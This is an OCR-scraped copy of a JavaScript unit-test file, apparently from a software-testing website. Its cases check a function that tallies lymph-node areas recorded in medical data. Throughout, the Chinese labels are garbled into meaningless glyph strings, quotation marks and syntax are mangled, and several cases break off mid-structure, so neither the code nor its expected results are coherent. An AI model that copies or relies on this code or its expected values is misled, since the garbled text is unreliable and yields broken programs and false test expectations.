624861662)/","Updatedld™:"30048","LMediastinal Area™:"14/15","LOnebArea™:"15/16","LParapharyngeal Ar
ea":"16/17","LVeinholeArea":"17/18","RMediastinal Area":"/","ROnebArea™:"/","RParapharyngeal Area™:"/",
"RVeinholeArea™:"/"};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% 7 I X ":1,"f9 & b & T X™1,"Z& % L B2
ZEW B2, AW T3, A Na X, b K2, A 1R ™2, A IV R4, A e K *:3," & Va X3,
Z Vb RK™4" AR EYRER ™A, Z 1o K "2, A v 57 X3, 2 R K4, " F 74 £ B0," A 74 o B0, A 1
T A 1-2 A ™0, W T BeAf 1-3 ™0, Ila X0, % 11b X™0,"& I [X":0,"%& IV [X"0,"# ALH X ":0,"
& Va X™0,"A Vb X"0,"& /i LY X "0,"% Ib X™0,"&"H % X":0,"%& FlJk X
":0},"L":{"NumberArea™:[" £ ¥ L Bt @" " A W F Q""" W T HO®""Z lla RO""A llb R@","% 1
XQ@""Z IVE@®""AEALEX®""AVaR®"" A Vb K@ "A# LARKX@""A Ib KQ","Z W% X
Q" "£ K X @"],"Numberinx™[2,2,3,1,2,2,4,3,3,4,4,2,3,4]},"R":{"NumberArea":[],"Numberinx":[]}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
ok




EZIrm O

sitestung (51 MiEFKit) PI-+HII(T)
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it(#% % LN 477 Jik 4 -Case02',function()
{
1176 ] (Al

IMERT I X (Y1)-B & £ % (Y1)-_EB(Y2)-4 BL(Y2)- T B /#f 1-2,1-3 Bt-ALJE X (Y3)-7] L [@
(Y4)-2a(Y1)-2b(Y2)-3 X (Y2)-4 X (Y4>Yy3=Y4)-5a X (Y3)-5b X (Y4)-1b X (Y2)-7 % (Y3)-F k& (Y4)

vardata={"Pk":"","TSFK":"","ThroatBeforeArea":"1/1","SternumTopArea":"2/3","LeftAreaTop":"","Le
ftAreaMiddle":"","LeftAreaUnder":"","RightAreaTop":"3/4","RightAreaMiddle™:"4/5","RightUnderOneTwo
":"5/6","RightUnderOneThree™:"5/6","LTwoAArea":"","LTwoBArea":"","LThreeArea™:"","LFourArea":"","
LFiveAArea™:"","LFiveBArea™:"","LMuscleArea™:"","RTwoAArea":"7/8","RTwoBArea":"8/9","RThreeArea
":"9/10","RFourArea™:"10/11","RFiveAArea™:"11/12" "RFiveBArea":"12/13","RMuscleArea":"13/14" " Met
TumorMemo":"","Created Time":"/Date(1477624861662)/","Createdld":"30048","Updated Time":"/Date(147
7624861662)/","Updatedld":"30048","LMediastinal Area":"","LOnebArea":""," LParapharyngeal Area":"","L
VeinholeArea™:"","RMediastinal Area":"14/15","ROnebArea":"15/16","RParapharyngeal Area":"16/17","RVei
nholeArea":"17/18"};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% 77 I X ":1," 9 & £ & T X"1,"Z& # L B0,
Ze W B0, A W T B0, A Ha R0, A b (X0, A 11 X0, A& IV [X™:0," & AlL[A] K™:0," A& Va [X™:0,"
Z Vb R™0," AR EAARX™0," A Ib [X™0," A 5 X™0," & UK X0, F 4 L B2, H B2, A
TEAF1-2 F™3," A T &AM 1-3 3, Na X1, A Hb K2, 1 K2, A IV K"4," A AL K™3,"
# Va X™3,"4A Vb X"4" A/ LY MEX "4, 4 Ib X":2," A5 X":3," 4 Uk X
*:4},"L":{"NumberArea":[],"NumberInx":[]},"R":{"NumberArea":[" 4 # L B Q" "H& #+ EQO""H T &
W12 O EHTEMA 13 K@ " A laKO""A IIb KO""& N XQ""A& IVE®""&LEXO""
EVaRO""A Vb R@""EHFHW LY/RO""E Ib RO""EAFHFRO""&HKRXD
"1,"Numberinx":[2,2,3,3,1,2,2,4,3,3,4,4,2,3,4]}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
b

it('4 %% LN 277 Jk 4 -Case03',function()
{
1724 (-

¥ B (Y 1)-9 B (Y1)-T B 1-2,1-3 B (Y2)-HLJA] X (Y2)-3 K (Y2)-4 K (Y4>Yy3=Y4)-5a X
(Y3)-5b X (Y2)-1b X (Y2)-7 % (Y3)-H & (Y4)

vardata={"Pk":"","TSFK":"","ThroatBeforeArea":"","SternumTopArea":"","LeftAreaTop":"3/4","LeftA
reaMiddle":"4/5","LeftAreaUnder":"5/6","RightAreaTop™:"","RightAreaMiddle™:"","RightUnderOneTwo":""
,"RightUnderOneThree™:"","LTwoAArea":"","LTwoBArea":"","LThreeArea":"12/13","LFourArea™:"13/14","
LFiveAArea™:"14/15","LFiveBArea":"15/16","LMuscleArea":"16/17","RTwoAArea":"","RTwoBArea™:"","R
ThreeArea™:"","RFourArea™:"","RFiveAArea":"""RFiveBArea™:"","RMuscleArea™:"","MetTumorMemo™":""
,"CreatedTime":"/Date(1477624861662)/","Createdld":"30048","Updated Time":"/Date(1477624861662)/","
Updatedld":"30048","LMediastinal Area":"","LOnebArea":"18/19","LParapharyngeal Area":"19/20","LVeinh
oleArea™:"20/21","RMediastinal Area":"","ROnebArea™:"","RParapharyngeal Area":"","RVeinholeArea™:""};
varmainside=";
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Jitestung (51T FHII(F)
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expect_result=JSON.stringify({"NumberAreaList":{"*% #[ I X ":0," 9 & £ & T X ".0," Z 7 L B"1,"
BT B2, A Ha X0, &2 b [X™:0," & N X™2," & IV X™:3," £ AL X™2," /& Va X ":2,"
7 Vb R™3" AR EYARIX™0," 4 Ib K"™2," A vA 5 K ™:3," A A Ji X ":4," 5 ) £ B0, 7 H B0, A
TBAF 1-2 F™0," & T BAfR 1-3 A ™0,"4 lla X ":0,"% Ilb [X™:0,"& 11 X"™0,"% IV X"0,"%& L} X"0,"

# Va X"0,"%& Vb X"0," A ® EWSEX"0,"% Ib X"0," A& X"0,"H K X
":0},"L":{"NumberArea":["Z 4 L EE@" " AW H EO""ZH T EQ""Z Il RQ""A IV R®","Z L4
RKQO""AZVaRXQ""Z Vb X®""£Ib RO""EAWHERXO""EMERX®
"1,"Numberinx™:[1,1,2,2,3,2,2,3,2,3,4]},"R":{"NumberArea":[],"Numberinx":[]}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
b

it(4 % LN 277 Ji 4 -Case04' function()

{

117l ()

¥ B (Y L)-9 B (Y1)- T B 1-2,1-3 B (Y2)-HLJA] R (Y2)-3 K (Y2)-4 K (Y4>Yy3=Y4)-5a X
(Y3)-5b X (Y2)-1b X (Y2)-7 % (Y3)-F & (Y4)

vardata={"Pk":"","TSFK":"","ThroatBeforeArea":"","SternumTopArea":"","LeftAreaTop":"","LeftArea
Middle":"","LeftAreaUnder":"","RightAreaTop":"3/4","RightAreaMiddle":"4/5","RightUnderOneTwo";"5/6"
,"RightUnderOneThree™:"5/6","LTwoAArea™:"","LTwoBArea":"","LThreeArea™:"" ,"LFourArea™:"","LFiveA
Area™:"" "LFiveBArea":"","LMuscleArea":"","RTwoAArea™:"","RTwoBArea":"","RThreeArea™:"12/13","RF
ourArea":"13/14" "RFiveAArea":"14/15" "RFiveBArea":"15/16","RMuscleArea™:"16/17","MetTumorMemo

""" "CreatedTime™:"/Date(1477624861662)/","Createdld™:"30048","Updated Time":"/Date(1477624861662)/
" "Updatedld":"30048","LMediastinal Area":"","LOnebArea™:"","LParapharyngeal Area":"","LVeinholeArea"

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% #[ I X ":0," 9 & £ & T X".0," Z 4 L F"0,"
2V B0, A T B0, £ Na X0, & 1o [K:0,"Z& 111 X™:0," 2 IV X ":0," £ /I j&] X*:0," % Va X":0,"
7 Vb X™0,"Z 8] F A X ™0, Ib K™0," & ¥ 55 X"0," & Bk X ™0," A 74 _E ™1, A E B
TEAF1-2 F™2," 5 T B 1-3 2,4 Na X™0,"A Hb X0, A& 1 K™:2," & IV X":3," A AL X":2,"
# VaX"2,"4a Vb R":3"AHu EHSEX"0,"F Ib X™2," A5 X™3,"H Mk X
":4},"L":{"NumberArea":[],"NumberInx":[]},"R":{"NumberArea":[" /4 # L B O" " A& #+ EO" & T &
HL2 Q" "EWTEMF I3 FO""A N RQ""AIVREO"EHAEHRQO""£#VaRQ®""& Vb RO®""
A b RQ" A% KO" " A HK X @","Numberinx":[1,1,2,2,2,3,2,2,3,2,3,41}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
b;

it('4£ %% LN 277 Jk 4 -Case05',function()

{

AR ()

A& £ & (Y1)-T B 1-2,1-3 BL(Y2)-ALjE] X (Y2)-77 _EF&(Y3)

vardata={"Pk":"","TSFK":""," ThroatBeforeArea":"","SternumTopArea":"2/3","LeftAreaTop":"","LeftA
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reaMiddle":"","LeftAreaUnder":"5/6","RightAreaTop™:"","RightAreaMiddle™:"","RightUnderOneTwo":"","R
ightUnderOneThree™:"" "LTwoAArea":"","LTwoBArea":"","LThreeArea":"","LFourArea™:"" ,"LFiveAArea":
" "LFiveBArea™:"","LMuscleArea™:"12/13","RTwoAArea":"","RTwoBArea™:"","RThreeArea":"","RFourAr
ea":"","RFiveAArea":"","RFiveBArea":"","RMuscleArea™:"","MetTumorMemo":"","Created Time":"/Date(1
477624861662)/","Createdld":"30048","UpdatedTime":"/Date(1477624861662)/","Updatedld":"30048","L
MediastinalArea™:"13/14","LOnebArea":"","LParapharyngeal Area™:"","L\VeinholeArea™:"","RMediastinal Ar
ea":"","ROnebArea™:"","RParapharyngeal Area":"","RVeinholeArea™:""'};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% #[ I X ":0," i & £ & T X ":1,"Z 7 L B™0,"
e R B0, A v N B2, A Na R0, A b X0, A 11 X0, Z& IV X ":0," Z ALJE X ":2," % Va [X":0,"
Z Vb X0, 7 EYME X3, A b X™0," A& " % X™0," 2 K X ™:0,"4& 4 L BL™0," 4 i o B0,
TEAF1-2 F™0," A 7 T &AM 1-3 £:0,"& HNa X™:0,"4& b X™0,"#& 111 K™:0,"#& IV X™0,"A AL X™0,"
A Va X™0,"& Vb X™0," A’ LY SEX™0,"% Ib X":0,"F % X"0," A H&K X
"0}, "L":{"NumberArea™:[" £ T & Q@"" £ AL R Q""" A7 LAWK O
"1,"Numberinx":[2,2,3]},"R":{"NumberArea":[],"Numberinx":[]}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
ok

it('4 % LN 277 Jk 4 -Case06',function()

{

176 (22 )

A& b & (Y1)-T B 1-2,1-3 BL(Y2)-AL1E] X (Y2)-7] _EF&(Y3)

vardata={"Pk":"","TSFK":"","ThroatBeforeArea":"","SternumTopArea":"2/3","LeftAreaTop":"","LeftA
reaMiddle":"","LeftAreaUnder":"","RightAreaTop":"","RightAreaMiddle":"","RightUnderOneTwo":"5/6","R
ightUnderOneThree":"5/6","LTwoAArea":"","LTwoBArea":"","LThreeArea™:"","LFourArea":"","LFiveAAre
a":" "LFiveBArea™:"","LMuscleArea™:"","RTwoAArea™:"","RTwoBArea":"","RThreeArea":"","RFourArea"
M "RFiveAArea™:"" "RFiveBArea™:"","RMuscleArea":"12/13","MetTumorMemo":"","Created Time":"/Date
(1477624861662)/","Createdld™:"30048","Updated Time":"/Date(1477624861662)/","Updatedld™:"30048","L
MediastinalArea™:"","LOnebArea":"","LParapharyngeal Area":"","L\VeinholeArea":"","RMediastinal Area":"1
3/14","ROnebArea":"","RParapharyngeal Area":"","RVeinholeArea":""'};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% &7 I X ":0," g & £ & T X":1,"Z& 4 L F"0,"
ZE W B0, A W T B0, A a X0, A& b [X:0,"Z& 111 X0, IV X ":0," £ /Il J&] X*:0," % Va X":0,"
Z Vb R™0," A7 EHMFX"0,"A b X™0,"Z 9H 5 X ™0," 4 fk X ™0, F& 74 L B0, &4+ B0, A 1

& VaX™0,"%& Vb X™0," &’ LA MK "3,"A Ib X"0," A "HF X"0,"% MK X
":0},"L":{"NumberArea":[],"NumberInx":[1},"R":{"NumberArea™:["# 74 T B4 1-2 f @","F 7 T B Af 1-3
B @" " ALIE X @" " #_E R X @], "Numberinx":[2,2,2,3]}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
b

it('4 %% LN 277 Jk 4 -Case07",function()
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sifestung (51 WitFKHe) PI-+I9(F)
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{

12200 (A

I BT T X (Y1)-T B (Y2)-Alla X (Y2)-7] L A& (Y3)-

vardata={"PKk":"","TSFK":"","ThroatBeforeArea":"1/1","SternumTopArea":"","LeftAreaTop":"","LeftA
reaMiddle":"","LeftAreaUnder":"5/6","RightAreaTop™:"","RightAreaMiddle":"","RightUnderOneTwo":"","R
ightUnderOneThree™:"" "LTwoAArea":"","LTwoBArea":"","LThreeArea":"","LFourArea™:"","LFiveAArea":
" "LFiveBArea":"","LMuscleArea™:"16/17","RTwoAArea":"","RTwoBArea":"","RThreeArea":"","RFourAr
ea":"","RFiveAArea":"","RFiveBArea":"","RMuscleArea™:"","MetTumorMemo":"","Created Time":"/Date(1
477624861662)/","Createdld™:"30048","Updated Time":"/Date(1477624861662)/","Updatedld™:"30048","L
MediastinalArea™:"17/18","LOnebArea":"","LParapharyngeal Area™:"","LVeinholeArea™:"","RMediastinal Ar
ea":"","ROnebArea™:"""RParapharyngeal Area":"","RVeinholeArea™:""};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"* & T X ":1,"f & £ & T X™0," £ L B&™0,"
F B0, A TR B2, A Na X0, A b K0, A N IR0, A IV R0, A L] K2, A Va X ™0,"
F2 Vb "0," 22 B U 73,2 I [C™0," 4 5 (X0, UK (50,5 1 B0, 1 B0, 1
T B 1-2 F™0," A W T Bl 1-3 F:0,"A Ila X":0,"% 11b X™:0,"& Il X":0,"#& IV X"0,"A ALE X":0,"
A Va X™0,"& Vb X™0," A’ LY SEX™0,"% Ib X":0,"F % X"0," A H&K X
":0},"L":{"NumberArea™:[" £ T & Q@"" £ R Q""" A7 LAFEO
"1,"Numberinx":[2,2,3]},"R":{"NumberArea":[],"Numberinx":[]}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
b

it('4 %% LN 277 Jk 4 -Case08',function()

{

176 (22

MM T T R (Y1) BE(Y2)- LI X (Y2)-R B AR (Y3)

vardata={"Pk":"f05ae9f5154b4926b629ac755c8ab59b","TSFK":"f82fh17933b2402b89c481c55a355a6
0","ThroatBeforeArea":"1/1","SternumTopArea™:"","LeftAreaTop":"","LeftAreaMiddle™:""," LeftAreaUnder"
" "RightAreaTop":"","RightAreaMiddle™:"","RightUnderOneTwo":"5/6","RightUnderOneThree":"5/6","LT
woAArea™:"" "LTwoBArea":"" "LThreeArea™:"","LFourArea™:"","LFiveAArea":"","LFiveBArea":"","LMusc
leArea":"" "RTwoAArea™:"" ,"RTwoBArea":"","RThreeArea™:"","RFourArea":"","RFiveAArea™:"","RFiveB
Area":"""RMuscleArea":"16/17","MetTumorMemo":"","Created Time":"/Date(1477624861662)/","Created|
d":"30048","UpdatedTime":"/Date(1477624861662)/","Updatedld":"30048","LMediastinal Area":"","LOneb
Area":"""LParapharyngeal Area":"","LVeinholeArea":"","RMediastinal Area™:"17/18","ROnebArea":"","RPa
rapharyngeal Area™:"","RVeinholeArea™:""};

varmainside=";

Z Vb X"0," AR EAMEX™0," % Ib [X"0," A" % X"0," 2 f& X ":0," % # L B0, 4 i+ B2"0," 4 74
TEM L2 Fm2 Al T EA1-3 A2, A Ha X™0,"4A 1b [X™:0,"4& 111 [X™0,"4& IV X"0,"#& ALlE X":2,"
% Va X™0,"& Vb X™0," A7 L fEX":3,"%& Ib X™0," & % X"™0," A UK X
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sitestung (51 MiEFKit) PI-+HII(T)
I Wl www.51testing.com

":0},"L":{"NumberArea":[],"Numberinx":[]},"R":{"NumberArea™:["#& # T B#f 1-2 f @" "4 T BAf 1-3
F@" " E ALE X @" A w AR X @, "NumberInx™:[2,2,2,3]3});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
b

it('4 % LN 277 Jk 4 -Case09',function()

{

72 ()

IR B (Y L)-ALTE X (Y1)-7 £ AR (Y2)-5b X (Y3)

vardata={"Pk":"","TSFK":"","ThroatBeforeArea":"","SternumTopArea":"","LeftAreaTop":"","LeftArea
Middle™:"™,"LeftAreaUnder":"5/6","RightAreaTop":"","RightAreaMiddle":"","RightUnderOneTwo":"","Rig
htUnderOneThree™:"""LTwoAArea™:"","LTwoBArea™:"","LThreeArea™:"","LFourArea™:"""LFiveAArea":""
"LFiveBArea™:"15/16","LMuscleArea™:"16/17","RTwoAArea":"","RTwoBArea":"","RThreeArea":"","RFou
rArea":"" "RFiveAArea™:"","RFiveBArea™:"","RMuscleArea™:"","MetTumorMemo":"","Created Time":"/Dat
e(1477624861662)/","Createdld™:"30048","Updated Time":"/Date(1477624861662)/","Updatedld":""30048","
LMediastinalArea":"17/18","LOnebArea":"","LParapharyngeal Area":"","LVeinholeArea™":"","RMediastinal A
rea":"","ROnebArea™:"","RParapharyngeal Area":"","RVeinholeArea":""};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% #[ I X ":0," i & £ & T X".0,"Z 7 L F"0,"
Ze W B0, A W T B A Na R0, A b (X0, A 1 IR0, A IV K0, A LA R, A Va X0,
Z Vb X3 AR EYSRIX "2, A Ib K0, A E 5 X 0," & UK X0, % 74 L B0, i o B0, i
TEAF 1-2 F™0,"H 7 T B 1-3 £:0,"& Ha X™:0,"4& Hb X™:0,"#& 111 K™:0,"#& IV X™0,"& AL X™0,"
% Va X™0,"& Vb X"™0," &/ LA X"0,"% b X™0,"#&H % X"0,"%& flJ&k X
":0},"L":{"NumberArea":[" £ /4 T B O""Z LA R O"," 42 Vb R®"" A7l LY IFR @
"1,"Numberinx":[1,1,3,2]},"R":{"NumberArea":[],"NumberInx":[1}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
b

it('# % LN 27 Jik 4 -Case10",function()

{

1174l (Z))

IR (Y L)-ALTE X (Y1) £ AR (Y2)-5b X (Y3)

vardata={"Pk":"","TSFK":"" ,"ThroatBeforeArea":"","SternumTopArea":"","LeftAreaTop":"","LeftArea
Middle":"","LeftAreaUnder":"","RightAreaTop":"","RightAreaMiddle":"","RightUnderOneTwo":"5/6","Rig
htUnderOneThree™:"5/6","LTwoAArea™:"","LTwoBArea":"","LThreeArea":"","LFourArea™:"","LFiveAArea
YL FiveBArea™:™, "LMuscleArea":"" "RTwoAArea™:"","RTwoBArea™:"","RThreeArea":"","RFourArea":
" "RFiveAArea":"","RFiveBArea":"15/16","RMuscleArea":"16/17","MetTumorMemo":"","Created Time":"/
Date(1477624861662)/","Createdld™:"30048","Updated Time":"/Date(1477624861662)/","Updatedld":"3004

8","LMediastinalArea":"","LOnebArea™:"","LParapharyngeal Area™:"","LVeinholeArea":"","RMediastinal Are
a":"17/18","ROnebArea":"","RParapharyngeal Area™:"","RVeinholeArea":""};

varmainside=";
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expect_result=JSON.stringify({"NumberAreaList":{"*% #[ I X ":0," i & £ & T X ".0,"Z 7 L F"0,"
ZE Vg B0, AV T B0, A Ha X0, A b [X:0," & 1 X ™0, & IV X™:0," Z& AL X0, % Va X":0,"
7 Vb X™0," & 7 B IX™0," 24 Ib X™0," A vH % X ™0," 2 AL J& X :0," & ¥ £ B0, 74 # B0, A
T B 1-2 AL, W T AR 1-3 AL, Ha X0, 1b [X™:0,"A I X™0,"%& IV X"™0,"4& Ll X "1,"
# Va X™0,"A& Vb X"3" A/ LMK "2, 4 Ib X":0,"F& ¥ 5 X"0," 4 fk X
":0},"L":{"NumberArea":[],"Numberinx":[]},"R":{"NumberArea™:["/4 & T BAf 1-2 F @","#& ¥4 T A 1-3
FO""ENLE X @A Vb KO, A 7 _E4UE X @"],"Numberinx™[1,1,1,3,2]}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
b

it('# % LN 277 Jk 4 -Casel11',function()

{

1724 (2 )

IR B (Y L)-ALTE X (Y1) £ AR (Y2)-5b X(Y3)

vardata={"Pk":"","TSFK":"","ThroatBeforeArea":"","SternumTopArea":"","LeftAreaTop":"","LeftArea
Middle":"","LeftAreaUnder":"5/6","RightAreaTop":"","RightAreaMiddle":"","RightUnderOneTwo":"","Rig
htUnderOneThree":"","LTwoAArea™:"","LTwoBArea":"","LThreeArea™:"","LFourArea":"","LFiveAArea":""
J'LFiveBArea™:"","LMuscleArea™:"16/17","RTwoAArea":"","RTwoBArea":"","RThreeArea":"","RFourArea
" "RFiveAArea":"™ "RFiveBArea™:"","RMuscleArea":"","MetTumorMemo":"","Created Time":"/Date(147
7624861662)/","Createdld":"30048","Updated Time":"/Date(1477624861662)/","Updatedld™:"30048","LMed
iastinalArea™:"17/18","LOnebArea":"18/19","LParapharyngeal Area™:"","L\einholeArea":"","RMediastinal A
rea":"","ROnebArea":"","RParapharyngeal Area":"","RVeinholeArea":""};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% #[ I X ":0," 9 & £ & T X".0,"Z 7 L £"0,"
2V B0, A W T B, A Na R0, A b R0, A& 11X ™0, IV X ":0," & JIl.J&] X *:1," % Va X":0,"
Vb R0, AR EAMR K2, A b X2, A 5 X0, & UK X ™0," A 4 L B0, A A R B0, A
T B 1-2 0, 7 T B 1-3 0, A Na X0, 1lb [X™:0,"%& 1l [X™:0,"%& IV X":0,"4& AL X":0,"
# Va X"0,"& Vb X™0," A/ F A X "0,"A Ib X™0," A& H 57 X™0," A A& X
":0},"L":{"NumberArea":[" £ 4 T EO""Z LI RO""Z# LA BXO""£ Ib K@
"1,"Numberinx™:[1,1,2,2]},"R":{"NumberArea":[],"Numberinx":[1}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
hk

it('4 % LN 277 Jk 4 -Case12',function()

{

1175 ] (-4

IR B (Y 1)-JILTE] X (Y1)-7] £ A& (Y2)-5b X (Y3)

vardata={"Pk":"f05ae9f5154b4926b629ac755c8ab59b","TSFK":"f82fh17933b2402b89c481c55a355a6
0","ThroatBeforeArea™:"","SternumTopArea™:"","LeftAreaTop™:"","LeftAreaMiddle™:"","LeftAreaUnder":""
,"RightAreaTop":"","RightAreaMiddle™:"","RightUnderOneTwo":"5/6","RightUnderOneThree":"5/6","LTwo
AArea™:"" "LTwoBArea™:"","LThreeArea™:"","LFourArea":"","LFiveAArea":"","LFiveBArea™:"","LMuscle
Area™:"" "RTwoAArea":"","RTwoBArea":"","RThreeArea™:"","RFourArea™:"","RFiveAArea":"","RFiveBAr
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ea":"","RMuscleArea™:"16/17","MetTumorMemo":"","Created Time":"/Date(1477624861662)/","Createdld":
"30048","UpdatedTime":"/Date(1477624861662)/","Updatedld™:"30048","LMediastinal Area":"","LOnebAre
a":"" "LParapharyngealArea™:"","LVeinholeArea":"","RMediastinal Area™:"17/18","ROnebArea™:"18/19","R
Parapharyngeal Area™:"","RVeinholeArea":""};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% #[ I X ":0," i & £ & T X ".0,"Z 7 kL F"0,"
ZE Vg B0, AV TR B0, A Ha X0, A b X :0," & 1 X ™0, & IV X™:0," Z& AL X0, % Va X":0,"
7 Vb X™0," & 7 B IX™0," 24 Ib X™0," A vH % X ™0," 2 AL J& X :0," & ¥ £ B0, 74 # B0, A
T B 1-2 AL, W T BAR 1-3 AL, la X0, Hb [X™:0,"A I X™0,"%& IV X™0,"%& Ll X ":1,"
# Va X™0,"A Vb X"™0," A/ LA MmX 2,4 Ib X":2," A 5 X"0," 4 fk X
":0},"L":{"NumberArea":[],"Numberinx":[]},"R":{"NumberArea":["/4 & T BAf 1-2 F @","#& ¥4 T A 1-3
FO" &AL RO &/ LA RE Q"4 Ib K@"],"Numberinx™:[1,1,1,2,2]}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
b

it('4 % LN 277 Jk 4 -Casel13',function()
{
1724 (2 )

195 BT T X (Y1)-Fi B b & (Y1)-_E B (Y2)-4 BE(Y2)-RT EJR(Y3)-4 K (Y3>Y1=Y3)-5b X (Y3)-"H &
(Y3)-F (Y4)

vardata={"Pk":"","TSFK":"","ThroatBeforeArea":"1/1","SternumTopArea":"2/3","LeftAreaTop":"3/4""
LeftAreaMiddle":"4/5","LeftAreaUnder":"","RightAreaTop":"","RightAreaMiddle™:"","RightUnderOneTwo"
""" "RightUnderOneThree":"","LTwoAArea":"","LTwoBArea":"","LThreeArea":"","LFourArea":"13/14" "LF
iveAArea":"" "LFiveBArea":"15/16","LMuscleArea":"","RTwoAArea":"","RTwoBArea":"","RThreeArea":""
,"RFourArea™:"" "RFiveAArea":"","RFiveBArea™:"","RMuscleArea":"","MetTumorMemo":"","Created Time
""/Date(1477624861662)/","Createdld":"30048","Updated Time":"/Date(1477624861662)/","Updatedld":"3
0048","LMediastinal Area":"17/18","LOnebArea™:"","LParapharyngeal Area":"","LVeinholeArea":"","RMedi
astinalArea":"","ROnebArea":"","RParapharyngeal Area":"","RVeinholeArea™:""};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% 7 I X ":1," g & £ & T X":1," Z& ) L B2
2o B2, A Y B0, A Hla K0, 22 b [X:0," Z& 1 X ™0," 2 IV [X"™:3," 7 JIl Ja] X ":0," % Va X":0,"

Z Vb B3 AR EAMEX ™3, & Ib [X"0," A" % X"0," 2 FUK X "0,"F # L B0, 4 i+ B"0," 4 74
TEA1-2 ™m0 AW T BAR 1-3 £0,"A Ha [X™:0,"4A b [X™:0,"4& 111 [X™:0,"4& IV X":0,"#& ALE X":0,"
% Va X™0,"& Vb X™0," A7 LA fEX"0,"%& Ib X™0," & % X"0," A UK X

":0},"L":{"NumberArea™:[" 274 L BL@" "L H+F K" "L IV RQO""A Vb RO" "L LI REO
"1,"Numberinx":[2,2,3,3,3]},"R":{"NumberArea":[],"NumberInx":[1}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
b;

it('4 %% LN 277 Jk 4 -Casel14', function()
{
1176 ] (-4
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1987 T X (Y1)-Fi B b & (Y1)- B (Y2)-4 BE(Y2)-8T EJR(Y3)-4 K (Y3>Y1=Y3)-5b X (Y3)-"H &
(Y3)-F (Y4)

vardata={"Pk":"","TSFK":"","ThroatBeforeArea":"1/1","SternumTopArea":"2/3","LeftAreaTop":"","Le
ftAreaMiddle":"","LeftAreaUnder":"","RightAreaTop":"3/4","RightAreaMiddle™:"4/5","RightUnderOneTwo
""" "RightUnderOneThree™:"","LTwoAArea":"","LTwoBArea™:"","LThreeArea":"","LFourArea™:"","LFiveA
Area™:"""LFiveBArea":"15/16","LMuscleArea™:"","RTwoAArea":"","RTwoBArea™:"","RThreeArea":"","RF
ourArea":"13/14","RFiveAArea™:"","RFiveBArea":"","RMuscleArea":"","MetTumorMemo":"","Created Tim
e":"/Date(1477624861662)/","Createdld":"30048","Updated Time":"/Date(1477624861662)/","Updatedid":"3
0048","LMediastinalArea":"","LOnebArea™:"","LParapharyngeal Area":"","LVeinholeArea":"","RMediastinal
Area™:"17/18","ROnebArea":"","RParapharyngeal Area":"","RVeinholeArea™:""'};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% [ I X ":1," 9 & £ & T X"1,"Z 7 L B"0,"
ZE R B0, A W T B0, A a R0, A b X0, A 111X ™0," A& IV [X™:0," & AlL[A] [K™:0," A& Va [X™:0,"
Vb R™3" AR EHAEK 0,4 Ib [X™0," A 5 X™0," & FUK X0, F 4 L B2, H B2, A
TEAF1-2 F™0," A 7 T &AM 1-3 £:0,"& Ha X™0,"4& b X™0,"#& 11 K™:0,"#& IV XK":3," A ALE X™0,"
F# Va X"0,"%& Vb X"0," A B EWSEX"3,"%A Ib X"0," A % X"0,"H K X
":0},"L":{"NumberArea":["Z Vb X ®"],"Numberinx":[3]},"R":{"NumberArea":["% /4 L B @","% ¥4 # £
@""& IV RO®""A /W AKX ®","Numberlnx™:[2,2,3,3]1}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
b

it('4 % LN 277 Jk 4 -Casel5', function()

{
I ERI))

BB (Y1) B (YL)-BT BB (Y2)-2a X (Y1)-4 K (Y1<Y2=Y2)-1b K (Y2)-HUE (Y3)
vardata={"Pk":"","TSFK":"" "ThroatBeforeArea":"","SternumTopArea":"","LeftAreaTop":"3/4"," LeftAreaM
iddle™:"4/5","LeftAreaUnder":"","RightAreaTop":"","RightAreaMiddle":"","RightUnderOneTwo":"","Right
UnderOneThree™:"","LTwoAArea":"10/11","LTwoBArea":"","LThreeArea™:"","LFourArea':"13/14" "LFive
AArea™:"" "LFiveBArea":"","LMuscleArea":"","RTwoAArea™:"","RTwoBArea":"","RThreeArea":"","RFour
Area":"" "RFiveAArea™:"" "RFiveBArea":"","RMuscleArea":"","MetTumorMemo™":"","Created Time":"/Date
(1477624861662)/","Createdld":"30048","Updated Time":"/Date(1477624861662)/","Updatedid":"30048","L
MediastinalArea™:"17/18","LOnebArea":"18/19","LParapharyngeal Area":"","L\VeinholeArea™:"20/21","RMe
diastinalArea™:"","ROnebArea™:"","RParapharyngeal Area":"","RVeinholeArea":""};

varmainside=";

7 Vb X™0," 2wy B IK"2," A Ib X2, A v 55 KX ™0," A2 A& X 23, ) £ B0, 7 H B0,
TEAF 1-2 ™0, A 7 T B 1-3 £:0,"& Ha X™:0,"4& Hb X™0,"#& 11 X™:0,"#& IV X™0," & AL X™0,"
% Va [X™0,"A Vb X"0,"& 7 LMK "0,"%& Ib K"0,"& ¥ % X"0,"%& flJk X
":0},"L":{"NumberArea":[" £ 4 L EO""AWFEO""LZ NlaXO""£ IVXO""A# LU X" " £
